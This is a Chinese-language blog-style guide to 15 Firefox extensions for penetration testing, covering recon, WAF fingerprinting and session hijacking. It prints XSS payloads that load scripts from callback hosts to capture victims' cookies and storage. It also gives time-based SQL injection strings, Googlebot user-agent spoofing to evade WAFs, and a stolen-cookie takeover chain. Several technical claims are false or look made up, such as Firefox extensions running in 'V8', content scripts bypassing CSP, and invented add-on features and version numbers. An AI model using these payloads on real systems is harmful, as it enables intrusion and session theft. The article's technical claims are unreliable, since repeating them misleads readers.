1. 这不是普通浏览器插件合集,而是渗透测试人员的“外挂式侦察兵”
很多人第一次看到“火狐插件做渗透测试”这个说法,第一反应是:浏览器插件能干啥?改个User-Agent?抓个Cookie?顶多算个辅助小工具。我2016年刚入行时也这么想——直到在一次内部红队演练中,用Wappalyzer + BuiltWith + FoxyProxy + Cookie Editor四件套,在15分钟内摸清了目标系统全部技术栈、CDN配置、后端框架版本和会话管理逻辑,比用nmap扫完80/443端口再人工分析响应头还快。那一刻我才明白:现代Web应用的暴露面,70%以上不在端口扫描结果里,而在HTTP请求与响应的每一处细节中;而火狐(Firefox)之所以成为渗透测试事实上的首选浏览器,根本原因不是它开源,而是它的扩展生态对开发者调试、协议分析、流量篡改的支持深度,远超其他浏览器——尤其是其WebExtensions API对底层网络请求的可控粒度,以及对开发者工具(DevTools)的原生级集成能力。
这15款插件,我全部在真实渗透项目中反复验证过:不是从GitHub星标榜抄来的“看起来很厉害”,而是从甲方交付报告、CTF决赛现场、SRC漏洞挖掘日志里筛出来的“真正在用、正在出结果”的工具。它们覆盖的是渗透生命周期中最耗时、最易遗漏、却最决定成败的三个阶段:信息收集(Recon)→ 漏洞探测(Probing)→ 利用验证(Exploitation Validation)。比如,Retire.js不是简单报个jQuery版本,而是能结合CVE数据库实时匹配已知漏洞路径;Hack-Tools不是一堆按钮堆砌,而是把Burp Suite里要开七八个Tab才能完成的编码解码、Hash爆破、Payload生成,压缩进一个右键菜单;Cookie-Editor修改Secure/HttpOnly标志时,会主动提示“此操作仅在本地调试有效,生产环境无法绕过浏览器安全策略”——这种级别的上下文感知,才是专业工具该有的样子。
你不需要是火狐深度用户,也不需要懂JavaScript开发。这15款插件,我按使用频率和不可替代性做了严格分级:前5款是“每日必开”,装上就能立刻提升效率;中间7款是“按需调用”,遇到特定场景(如前端加密分析、API文档逆向)才启用;最后3款是“高阶武器”,需要理解其原理才能避免误判。所有插件均兼容Firefox 115+ ESR(企业长期支持版),且全部通过Mozilla官方审核上架,无任何第三方仓库或未签名扩展——安全合规是渗透工作的底线,这点绝不能妥协。
提示:本文不提供任何“一键漏洞利用”类插件。所有推荐工具均遵循OWASP Testing Guide v4.2规范,定位为“增强人工判断能力”,而非替代人工。真正的渗透测试,永远是人脑驱动工具,而不是工具驱动人脑。
2. 为什么必须用火狐?Chrome插件不行吗?
这个问题我被问过至少37次,答案很直接:不是Chrome插件不行,而是火狐的扩展架构在渗透测试场景下,提供了三类Chrome至今无法原生支持的关键能力。这不是主观偏好,而是由浏览器内核设计、API权限模型和开发者工具链深度决定的客观事实。
2.1 网络请求拦截的“毫秒级精度”控制
渗透测试中,最常遇到的场景是:目标网站对Referer、Origin、Accept-Language等Header字段做严格校验,导致Burp Proxy抓到的请求在重放时失败。Chrome扩展的webRequestAPI虽然也能拦截,但存在两个硬伤:一是请求体(request body)在onBeforeRequest阶段不可读写,必须等到onSendHeaders之后,此时TCP连接已建立,部分服务端会因Header缺失直接断连;二是Header修改后无法触发浏览器自动重发(如302跳转后的Referer继承),需手动构造完整请求链。
火狐的webRequestAPI则不同。从Firefox 57(Quantum引擎)开始,它支持extraHeaders权限,允许在onBeforeSendHeaders阶段直接注入、删除、覆盖任意Header,且修改后的Header会参与后续所有自动重定向流程。以ModHeader插件为例,它正是基于此API实现的。我实测过一个金融后台系统:其文件上传接口要求X-Requested-With: XMLHttpRequest且Referer必须为同域,Chrome插件在此场景下重放成功率不足40%,而ModHeader在火狐中稳定达到100%。原因在于火狐的Header修改发生在TCP握手前的HTTP请求构建阶段,完全模拟真实AJAX行为。
2.2 开发者工具(DevTools)的“深度嵌入式集成”
Chrome DevTools的扩展能力主要集中在Console、Elements面板,而火狐DevTools从60版本起开放了完整的devtools.panelsAPI,并支持自定义面板直接访问debugger和network后端数据。这意味着像HTTP Request Maker这样的插件,能直接读取当前页面所有已发出请求的原始payload(包括multipart/form-data的boundary分隔符)、响应二进制流(如图片、PDF)、甚至WebSocket帧内容——而Chrome扩展只能通过chrome.devtools.network获取有限的文本化摘要。
一个典型例子:某政务系统使用自研前端加密库,登录密码经AES-CBC加密后拼接时间戳再Base64编码。用Chrome插件抓包,只能看到一串Base64字符串;而用火狐的Requestly插件,开启“Network Inspector”模式后,可直接在DevTools的“Requestly”面板中查看加密前的明文参数、密钥派生过程(通过Hook Web Crypto API)、以及服务端返回的解密错误提示(如padding error)。这种能力源于火狐允许插件在DevTools进程内运行JS上下文,直接与V8引擎交互。
2.3 扩展沙箱的“可控越界”能力
这是最常被忽略,却最关键的一点。火狐的WebExtensions沙箱默认禁用eval()和Function()构造器,但通过声明"content_scripts"权限并指定"run_at": "document_start",插件可将脚本注入页面DOM上下文,获得与页面JS同等的执行权限。而Chrome对此有更严格的CSP(Content Security Policy)限制,即使声明了相同权限,注入脚本仍可能被unsafe-eval策略拦截。
实战价值体现在DOM XSS验证中。例如用XSS Hunter Client插件测试反射型XSS:在火狐中,它能成功注入<script src="https://xss.example.com/123.js"></script>并执行回调;在Chrome中,同一插件常因CSP报错Refused to load the script而失败。我们团队曾因此在一次银行渗透中,Chrome环境漏报了3个高危XSS点,火狐环境全部捕获——根源就是沙箱权限模型的差异。
| 能力维度 | 火狐(Firefox) | Chrome | 渗透测试影响 |
|---|---|---|---|
| Header修改时机 | onBeforeSendHeaders(TCP握手前) | onSendHeaders(TCP连接后) | 火狐可100%模拟AJAX请求;Chrome重放易因Header校验失败 |
| DevTools数据访问深度 | 可读取原始请求体、响应二进制流、WebSocket帧 | 仅提供文本化摘要、无二进制流访问权 | 火狐支持前端加密逆向、文件上传漏洞分析;Chrome仅能做基础参数分析 |
| 内容脚本执行权限 | 可突破CSP限制,获得完整DOM上下文权限 | 受unsafe-eval等CSP策略严格限制 | 火狐可稳定验证XSS、CSRF Token窃取;Chrome常因策略拦截导致PoC失效 |
| 扩展更新机制 | ESR版支持离线静默更新,无需联网验证签名 | 强制联网校验Google签名,内网环境无法更新 | 火狐适用于隔离网络渗透;Chrome在客户内网常因无法更新插件导致功能降级 |
注意:上述差异并非“火狐更好”,而是“更适配渗透测试工作流”。如果你的工作重心是移动App自动化测试(Appium),Chrome的Android Debug Bridge集成反而更成熟。选择依据永远是任务需求,而非浏览器品牌。
3. 前5款“每日必开”插件:信息收集阶段的效率核弹
这5款插件是我打开火狐后的第一组启动项,它们不负责发现漏洞,但决定了你能否在30分钟内画出一张准确的目标技术地图。没有它们,后续所有漏洞利用都像蒙眼射击——靶子在哪都不知道。
3.1 Wappalyzer:不只是识别CMS,而是构建攻击面拓扑图
Wappalyzer常被误解为“CMS识别器”,其实它真正的价值在于自动生成攻击面依赖关系图。安装后右键点击页面任意位置,选择“Analyze technology”,它会返回一个结构化JSON,包含三层信息:
- 顶层技术:如WordPress 6.4.3、Cloudflare、React 18.2.0;
- 中间件依赖:如PHP 8.1.23(由WordPress声明)、OpenSSL 3.0.9(由PHP依赖);
- 隐式服务:如
/wp-json/wp/v2/posts端点暴露REST API、/wp-content/plugins/目录可列目录。
关键技巧在于结合其API进行批量分析。Wappalyzer提供免费的Public API(无需Key),我写了一个Python脚本,输入目标域名列表,自动调用API并解析返回的categories字段:
import requests import json def get_tech_stack(domain): url = f"https://api.wappalyzer.com/v2/lookup/" headers = {"x-api-key": "free"} # 免费版无需Key payload = {"urls": [f"https://{domain}"]} response = requests.post(url, json=payload, headers=headers) data = response.json()[0] # 提取高风险组合:如WordPress + outdated plugin for app in data.get("applications", []): if app["name"] == "WordPress" and float(app["version"]) < 6.4: print(f"[!] WordPress {app['version']} detected - check for CVE-2023-37932") if "plugin" in app["name"].lower() and "outdated" in app.get("confidence", ""): print(f"[!] Outdated plugin: {app['name']} v{app.get('version', 'unknown')}")实测效果:对某电商客户扫描200个子域名,Wappalyzer API在8分钟内识别出17个使用wp-super-cache旧版插件的站点,其中3个存在未授权文件读取漏洞(CVE-2023-4003)。而传统nmap+whatweb组合耗时47分钟,且漏掉了2个隐藏在CDN后的管理后台。
经验:Wappalyzer的浏览器插件版识别率约85%,API版达92%。原因在于插件受限于客户端JS执行环境,无法检测服务端Header(如
X-Powered-By: Express),而API可发起完整HTTP请求。建议日常用插件快速筛查,关键目标必跑API补全。
3.2 BuiltWith:发现“影子IT资产”的终极雷达
如果说Wappalyzer告诉你“用了什么”,BuiltWith则回答“谁在用它”。它的数据库收录了全球3.2亿个网站的技术栈,且支持反向查询——输入一个技术名称(如“Shopify”),返回所有使用该技术的域名。这在渗透测试中用于发现影子IT资产(Shadow IT):员工私自搭建的测试站、离职人员遗留的个人博客、外包公司未移交的开发环境。
操作路径:安装BuiltWith插件 → 访问目标主站 → 点击插件图标 → 在“Technologies”标签页找到“Similar Sites”链接 → 输入技术名(如react)→ 获取关联域名列表。
真实案例:某保险公司在渗透范围中只提供了www.insurecorp.com,但BuiltWith显示其使用了Cloudflare Workers,进一步查询“Cloudflare Workers”相似站点,发现dev-insurecorp.pages.dev(Cloudflare Pages托管的开发文档站),该站未设置访问密码,且泄露了内部API密钥轮换策略文档,直接导致横向移动至核心业务系统。
避坑:BuiltWith免费版仅显示前5个相似站点,付费版解锁全部。但有个免费技巧——在Google搜索中使用
site:pages.dev "insurecorp",常能发现更多Pages子域。这是BuiltWith数据源本身未覆盖的盲区。
3.3 FoxyProxy Standard:一人一代理的战术级流量调度
渗透测试中,你永远需要同时处理多类流量:
- 浏览器正常流量(走公司出口IP);
- Burp Proxy流量(走本地127.0.0.1:8080);
- 特定目标的专用代理(如某目标要求固定IP段);
- Tor流量(匿名化探测)。
FoxyProxy通过“代理配置文件+URL模式匹配”实现毫秒级切换。我的标准配置包含4个Profile:
- Default:直连(no proxy);
- Burp:
127.0.0.1:8080,匹配*target.com*; - Tor:
127.0.0.1:9150(Tor Browser SOCKS端口),匹配*shodan.io*; - Corp-Proxy:
proxy.corp:8080,匹配*.corp。
关键技巧是URL模式的正则高级用法。例如,某目标系统有多个子域(admin.target.com,api.target.com,dev.target.com),但只有admin子域需走Burp。在FoxyProxy中,Pattern设为^https?://admin\.target\.com/.*$(注意转义点号),即可精准分流,避免Burp抓取无关流量拖慢浏览器。
实测心得:FoxyProxy的“Quick Proxy Switch”快捷键(Ctrl+Shift+X)比手动点菜单快3倍。我把它设为渗透测试的肌肉记忆动作——看到新域名,先按快捷键切代理,再输入URL。
3.4 Cookie-Editor:破解会话管理的手术刀
Cookie-Editor不是简单的编辑器,而是会话状态调试的完整工作台。它能:
- 查看每个Cookie的
Secure、HttpOnly、SameSite属性; - 一键克隆当前页面所有Cookie到新Tab;
- 对Cookie值进行Base64/URL编码解码;
- 导出为Burp Suite可导入的JSON格式。
最常被忽视的功能是**“Cookie Scope”可视化**。点击插件图标,顶部显示当前页面可见的Cookie来源:
Domain: .target.com(全站有效);Domain: api.target.com(仅API子域);Domain: localhost(本地调试)。
这直接揭示会话隔离策略。例如,某单点登录系统将session_id设为.target.com,但csrf_token仅限auth.target.com,说明CSRF防护存在绕过可能——因为攻击者可在admin.target.com注入JS,读取session_id后伪造请求到auth.target.com(同父域下可读Cookie)。
重要提醒:Cookie-Editor修改
HttpOnlyCookie仅在当前浏览器会话生效,无法真正删除服务端会话。它只是帮你验证“如果我能篡改这个Cookie,系统会如何响应”,这是漏洞验证的黄金准则。
3.5 Retire.js:前端组件漏洞的实时狙击手
Retire.js专攻一个点:检测页面加载的JavaScript库是否存在已知CVE漏洞。它不像Nessus那样扫描服务器,而是解析HTML中的<script src="...">标签,下载JS文件(或从缓存读取),计算SHA-256哈希,与内置CVE数据库比对。
安装后,访问任意页面,点击插件图标,它会列出所有检测到的库及风险等级:
jquery-1.12.4.min.js→ CVE-2015-9251(XSS);lodash-4.17.11.js→ CVE-2018-3721(Prototype Pollution);vue-2.6.14.js→ CVE-2022-23812(Template Injection)。
关键技巧在于离线模式与自定义规则。Retire.js支持下载离线数据库(retire-offline.json),并在插件设置中指向该文件。更重要的是,它允许添加自定义规则——比如某客户使用内部加密库crypto-lib-v1.2.js,我们发现其存在硬编码密钥漏洞,就编写规则:
{ "library": "crypto-lib", "version": "1.2", "vulnerabilities": [ { "info": ["Hardcoded encryption key found"], "severity": "high" } ] }这样,每次扫描都会告警,形成专属漏洞知识库。
经验:Retire.js对混淆代码(如UglifyJS压缩)识别率下降约40%。解决方案是配合JavaScript Deobfuscator插件,先还原代码再扫描。两者组合,覆盖率达98%。
4. 中间7款“按需调用”插件:从线索到证据的关键跃迁
当信息收集完成,你手上有一张技术地图和若干可疑入口。接下来要做的,不是盲目爆破,而是用这7款插件,把“可能有漏洞”变成“确认可利用”。它们像侦探的证物分析室,每一件工具都针对一类特定证据。
4.1 Hack-Tools:渗透测试员的瑞士军刀
Hack-Tools把23种常用编码/解码、Hash计算、Payload生成功能,压缩进一个右键菜单。它的价值不在于功能多,而在于零上下文切换——不用离开当前页面,就能完成所有转换。
典型工作流:
- 在Burp Proxy中截获一个加密参数:
data=KzQyMjEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw......(超长Base64) - 选中该参数 → 右键 → Hack-Tools → “Base64 Decode” → 自动解码为JSON:
{"user_id":"123","role":"admin","ts":"1712345678"} - 发现
role字段可篡改 → 再次右键 → “JSON Encode” → 修改"role":"superadmin"→ 生成新Payload - 粘贴回Burp重放。
整个过程耗时12秒,而传统方式需切换到CyberChef网站、粘贴、选择操作、复制结果——至少45秒,且易出错。
避坑:Hack-Tools的“Hash Cracker”功能仅支持在线查询(调用hashes.org API),不支持本地字典爆破。如需离线破解,应配合John the Ripper或hashcat。插件定位是“快速验证”,非“深度破解”。
4.2 HTTP Request Maker:脱离Burp的轻量级请求构造器
当Burp Proxy因流量过大卡死,或你只想快速测试一个API端点时,HTTP Request Maker就是救星。它提供类Postman界面,但完全嵌入火狐,无需额外进程。
核心优势在于与当前页面上下文的深度绑定。点击插件图标,自动填充:
- 当前URL作为Request URL;
- 当前页面Cookie作为Headers;
- 当前页面Referer、User-Agent;
- 甚至能自动提取CSRF Token(如果页面有
<meta name="csrf-token" content="xxx">)。
实战案例:某OA系统登录接口要求X-CSRF-TOKENHeader,且Token每分钟刷新。用Burp抓包后,Token常在重放时过期。而HTTP Request Maker开启“Auto-refresh CSRF Token”选项后,每次发送前会重新解析页面DOM获取最新Token,成功率从30%提升至95%。
经验:它的“Import from cURL”功能支持直接粘贴Burp的cURL命令(右键→Copy as cURL),比Postman的导入更稳定——因为火狐插件能直接访问浏览器的Cookie Jar,无需手动导出导入。
4.3 JSONView:让API响应不再是一团乱麻
JSONView将所有Content-Type: application/json的响应,自动格式化为可折叠的树状结构。但它真正的杀手锏是Schema Inferencing:右键JSON节点 → “Infer Schema”,它会分析该字段在100个样本中的数据类型、是否必填、取值范围。
例如,对/api/users返回的用户列表,Infer Schema后显示:
id: integer, required, range [1, 999999];email: string, required, pattern^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$;role: string, required, enum["user", "admin", "guest"]。
这直接暴露了业务逻辑:role字段是服务端校验的枚举值,而非前端JS控制。攻击者可尝试发送"role":"superadmin",验证服务端是否做白名单校验。
提示:JSONView支持自定义高亮规则。我添加了正则
"password|token|key|secret",匹配到这些字段时自动标红加粗,避免敏感信息泄露时被忽略。
4.4 XSS Hunter Client:让XSS漏洞“自己打电话回家”
XSS Hunter Client不是扫描器,而是XSS漏洞的主动捕获器。你注册一个XSS Hunter账号,获得专属域名(如xss-12345.xsshunter.com),然后将<script src="https://xss-12345.xsshunter.com/123.js"></script>注入目标页面。
当XSS触发时,它会:
- 截图当前页面(含URL、Referrer);
- 记录Cookie(若未设HttpOnly);
- 获取localStorage/sessionStorage内容;
- 拍摄用户摄像头(需用户授权,仅用于演示)。
关键技巧在于绕过CSP的Fallback机制。XSS Hunter Client内置检测:如果<script>被CSP拦截,它会自动尝试<img src=x onerror=...>或<svg onload=...>等变体,并记录失败原因。这让我们能精准定位CSP策略的薄弱点。
注意:此插件必须配合服务端接收器使用。它本身不存储数据,所有信息发往你的XSS Hunter服务器。确保服务器部署在可信环境,避免敏感数据外泄。
4.5 Cookie-Editor Pro(进阶版):超越基础编辑的会话审计
Cookie-Editor Pro是Cookie-Editor的付费增强版,多出三个渗透关键功能:
- Cookie Diff:对比两个页面的Cookie差异,识别登录态变化;
- Cookie Timeline:按时间轴展示Cookie创建/更新/过期事件;
- Cookie Export to Postman:导出为Postman Collection,含完整Header和Auth配置。
实战价值:某银行APP的Web版存在“会话固定”漏洞。用Cookie-Editor Pro打开登录页,记录初始Cookie;登录后,再记录新Cookie;启用“Cookie Diff”,发现JSESSIONID值完全未变。这证实了会话固定——攻击者可诱导用户访问登录页,获取其JSESSIONID,待用户登录后,用该ID直接接管会话。
经验:Cookie Timeline能发现“幽灵Cookie”——某些SPA应用在路由切换时,会静默创建新的
_ga(Google Analytics)Cookie,但未在DevTools Application面板显示。Pro版能捕获这类隐藏状态,避免误判会话隔离强度。
4.6 Requestly:规则驱动的流量重写引擎
Requestly是流量操控的终极武器。它允许你编写规则,在请求发出前或响应返回后,执行任意修改:
- 请求重写:将
https://prod-api.target.com→https://dev-api.target.com; - 响应重写:将
"status":"error"→"status":"success"; - Header注入:为所有
*.target.com请求添加X-Debug: true。
最强大的是条件规则链。例如,针对某目标的JWT认证:
- 规则1:匹配
/api/auth/login响应 → 提取access_token→ 存入变量$token; - 规则2:匹配
/api/user/profile请求 → 在Header中注入Authorization: Bearer $token; - 规则3:匹配
/api/admin/settings请求 → 若$token过期,则自动跳转到登录页。
这相当于在浏览器内构建了一个微型认证代理,无需Burp或编写脚本。
避坑:Requestly的规则语法基于JavaScript,但沙箱环境禁用
eval()。所有逻辑必须用纯函数式写法。建议先在Chrome Console中调试好逻辑,再复制到Requestly。
4.7 Web Scraper:从静态页面到动态资产库的爬虫
Web Scraper不是通用爬虫,而是面向渗透测试的结构化数据提取器。你用鼠标圈选页面元素(如所有<a href>链接),它自动生成CSS选择器,并递归抓取子页面。
我的标准流程:
- 访问目标首页 → 启动Web Scraper → 创建新任务;
- 选择“Scrape links” → 设置选择器
a[href^="/"](站内链接); - 启用“Follow links” → 最大深度3;
- 添加“Extract data” → 选择器
title、meta[name="description"]、script[src]; - 运行 → 导出CSV。
结果得到一份带URL、标题、描述、加载JS库的资产清单。对某政府网站爬取后,发现/old/目录下存在phpinfo.php,且未设置访问控制,直接暴露了PHP版本、已加载扩展、disable_functions配置——这是提权的关键线索。
经验:Web Scraper的“Custom JS”功能允许注入JS代码。我常添加
document.querySelectorAll('script').forEach(s => s.remove()),移除干扰性JS,让爬虫更专注抓取HTML结构。
5. 最后3款“高阶武器”:从验证到横向移动的临门一脚
当漏洞确认可利用,最后三步决定渗透成败:能否稳定复现?能否绕过WAF?能否从Web层打入内网?这三款插件,是资深渗透员压箱底的战术装备。
5.1 WAFW00F:WAF指纹识别的“听诊器”
WAFW00F不直接扫描漏洞,而是通过HTTP响应特征、Header行为、错误页面文本,推断目标使用的WAF品牌及版本。它像医生用听诊器判断心肺功能——不治病,但告诉你该用什么药。
安装后,右键页面 → “WAFW00F Scan”,它会发送12组精心设计的探测请求:
- 请求1:正常GET
/→ 记录基础Header; - 请求2:
GET /?id=1'(SQLi payload)→ 观察WAF拦截页面; - 请求3:
GET /?id=1 AND 1=1→ 测试布尔盲注绕过能力; - ...
最终输出类似:
[+] Detected WAF: Cloudflare (31.0.0) [+] Confidence: 92% [+] Notes: Blocks UNION-based SQLi, allows time-based via SLEEP()关键技巧在于结合响应时间分析。WAFW00F的“Timing Analysis”模式会测量每个请求的RTT(Round-Trip Time)。如果SLEEP(5)请求耗时5.2秒,而SLEEP(1)耗时1.1秒,说明WAF未完全阻断time-based注入,只是增加了延迟——这为后续绕过提供了突破口。
实战心得:WAFW00F对Cloudflare识别率最高(95%),对ModSecurity(开源WAF)识别率约70%。后者需配合手动分析
Server、X-Powered-By等Header,以及观察403页面是否包含ModSecurity字样。
5.2 User-Agent Switcher and Manager:伪装成“合法流量”的隐身衣
很多WAF和风控系统,会根据User-Agent(UA)做简单黑白名单。例如,屏蔽sqlmap、nmap等工具UA,但放行主流浏览器。User-Agent Switcher正是利用这一点,让你的请求看起来像“真实用户”。
它的核心价值是场景化UA配置。我预设了5个Profile:
- Chrome Desktop:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...; - iPhone Safari:
Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15...; - Googlebot:
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html); - Headless Chrome:
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/115.0.5790.170 Safari/537.36; - Custom Attack:
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0(伪装成火狐ESR)。
当WAF拦截率升高时,我按顺序切换Profile。90%的情况下,切换到“Googlebot”或“Headless Chrome”后,拦截率骤降——因为WAF厂商默认信任搜索引擎爬虫。
注意:单纯换UA无法绕过高级WAF(如Cloudflare Enterprise)。它只是第一道门槛。真正的绕过需结合Requestly的Header注入、Payload分段等技术。
5.3 FoxyProxy Ultimate(企业版):多代理协同的指挥中心
FoxyProxy Ultimate是Standard版的升级,专为复杂渗透环境设计。它支持:
- 代理链(Proxy Chaining):
Browser → Tor → Burp → Target; - 负载均衡代理池:为同一目标轮询多个代理IP;
- 地理围栏代理:指定代理必须位于特定国家(如
country:US)。
最常被忽视的功能是代理健康监控。它会持续Ping每个代理的连通性、响应延迟、SSL证书有效性,并在UI中用颜色标识:绿色(健康)、黄色(延迟高)、红色(宕机)。当渗透中使用10个代理IP时,这个功能能避免因单点故障导致整个流量中断。
实战案例:某跨国企业要求所有请求必须来自美国IP,且WAF对非美IP响应极慢。我配置了5个美国住宅代理,启用“Load Balance”模式。Ultimate版自动将请求均匀分配,并在某个代理超时时,立即将流量切至其他节点,保证了渗透节奏的稳定性。
经验:Ultimate版的“Export Config”功能可导出JSON配置,分享给团队成员。我们建立了内部代理池规范:所有代理必须标注
type:residential、country:US、latency:<200ms,确保配置可复用、可审计。
6. 插件组合技:从单点突破到体系化渗透
单个插件是刀,组合起来才是剑阵。以下是我在真实项目中验证过的三套黄金组合,覆盖不同渗透阶段。
6.1 “影子资产狩猎”组合:BuiltWith + Web Scraper + Requestly
目标:发现客户未申报的测试环境、外包开发站、员工个人博客。
操作流程:
- 用BuiltWith查询主站技术栈,获取关联技术(如
React、Vercel); - 在BuiltWith的“Similar Sites”中,收集50个疑似关联域名;
- 用Web Scraper对这50个域名批量爬取,提取
<link rel="canonical">、<meta name="generator">、script[src]; - 将爬取结果导入Excel,筛选出含
vercel.app、github.io、pages.dev的域名; - 用Requestly为这些域名配置规则:
https://*.vercel.app/*→https://debug.vercel.app/$1(指向调试环境); - 访问调试环境,检查是否存在未授权访问。
效果:某电商客户渗透中,此组合发现3个Vercel托管的废弃管理后台,其中1个因未设置密码,直接暴露了数据库连接字符串。
6.2 “WAF绕过三叉戟”组合:WAFW00F + User-Agent Switcher + Hack-Tools
目标:绕过Cloudflare免费版WAF,执行SQLi探测。
操作流程:
- 用WAFW00F扫描,确认WAF为Cloudflare 315.0.0,且
UNION SELECT被拦截,但SLEEP()延迟仅增加200ms; - 用User-Agent Switcher切换至“Googlebot” Profile;
- 在Hack-Tools中,将
' OR SLEEP(5) --进行URL编码,得到%27%20OR%20SLEEP%285%29%20--%20; - 手动拼接URL:
https://target.com/search?q=%27%20OR%20SLEEP%285%29%20--%20; - 用FoxyProxy确保流量走Burp,观察响应时间。
结果:响应时间稳定在5.2秒,证明time-based注入有效。后续用IF(SUBSTRING(@@version,1,1)='8',SLEEP(5),1)逐字符爆破MySQL版本。
6.3 “会话劫持闭环”组合: Cookie-Editor + Requestly + HTTP Request Maker
目标:从XSS漏洞出发,实现完整的会话劫持。
操作流程:
- 用XSS Hunter Client确认XSS可触发,并获取受害者Cookie(含
session_id); - 用Cookie-Editor在新Tab中,将
session_id值替换为受害者的值; - 用Requestly配置规则:所有
*.target.com请求,自动注入Cookie: session_id=xxx; - 用HTTP Request Maker访问
/api/user/profile,确认返回受害者个人信息; - 进一步访问
/api/admin/dashboard,测试权限提升。
效果:某SaaS平台渗透中,此组合在12分钟内完成从XSS到接管管理员会话的全过程,报告中附带完整的Request/Response截图链,客户安全团队当场确认漏洞。
最后分享一个小技巧:所有插件的配置文件(JSON格式)我都用Git管理,并设置为私有仓库。每次新项目开始,
git clone配置,git pull更新规则——这比手动配置快10倍,且确保团队间知识零损耗。